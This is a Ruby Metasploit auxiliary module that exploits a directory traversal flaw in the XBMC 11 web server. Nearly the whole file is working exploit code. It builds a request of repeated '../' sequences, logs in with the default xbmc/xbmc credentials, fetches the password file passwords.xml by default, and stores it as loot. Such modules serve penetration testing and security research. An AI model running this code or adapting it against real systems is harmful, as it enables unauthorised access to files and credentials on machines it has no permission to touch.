92 lines
3.0 KiB
Ruby
92 lines
3.0 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Auxiliary::Report
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "XBMC Web Server Directory Traversal",
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'Description' => %q{
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This module exploits a directory traversal bug in XBMC 11, up until the
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2012-11-04 nightly build. The module can only be used to retrieve files.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'sinn3r', # Used sinn3r's yaws_traversal exploit as a skeleton
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'Lucas "acidgen" Lundgren IOActive',
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'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
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],
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'References' =>
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[
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['URL', 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348'],
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['URL', 'https://github.com/xbmc/xbmc/commit/bdff099c024521941cb0956fe01d99ab52a65335'],
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['URL', 'http://www.ioactive.com/pdfs/Security_Advisory_XBMC.pdf'],
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],
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'DisclosureDate' => "Nov 4 2012"
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))
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register_options(
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[
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Opt::RPORT(8080),
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OptString.new('FILEPATH', [false, 'The name of the file to download', '/private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml']),
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OptInt.new('DEPTH', [true, 'The max traversal depth', 9]),
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OptString.new('USERNAME', [true, 'The username to use for the HTTP server', 'xbmc']),
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OptString.new('PASSWORD', [false, 'The password to use for the HTTP server', 'xbmc']),
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], self.class)
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end
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def run
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# No point to continue if no filename is specified
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if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
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print_error("Please supply the name of the file you want to download")
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return
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end
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# Create request
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traversal = "../" * datastore['DEPTH'] #The longest of all platforms tested was 9 deep
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begin
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res = send_request_raw({
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'method' => 'GET',
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'uri' => "/#{traversal}/#{datastore['FILEPATH']}",
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'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD'])
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}, 25)
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rescue Rex::ConnectionRefused
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print_error("#{rhost}:#{rport} Could not connect.")
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return
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end
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# Show data if needed
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if res
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if res.code == 200
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vprint_line(res.to_s)
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fname = File.basename(datastore['FILEPATH'])
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path = store_loot(
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'xbmc.http',
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'application/octet-stream',
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datastore['RHOST'],
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res.body,
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fname
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)
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print_good("File saved in: #{path}")
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elsif res.code == 401
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print_error("#{rhost}:#{rport} Authentication failed")
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elsif res.code == 404
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print_error("#{rhost}:#{rport} File not found")
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end
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else
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print_error("HTTP Response failed")
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end
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end
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end
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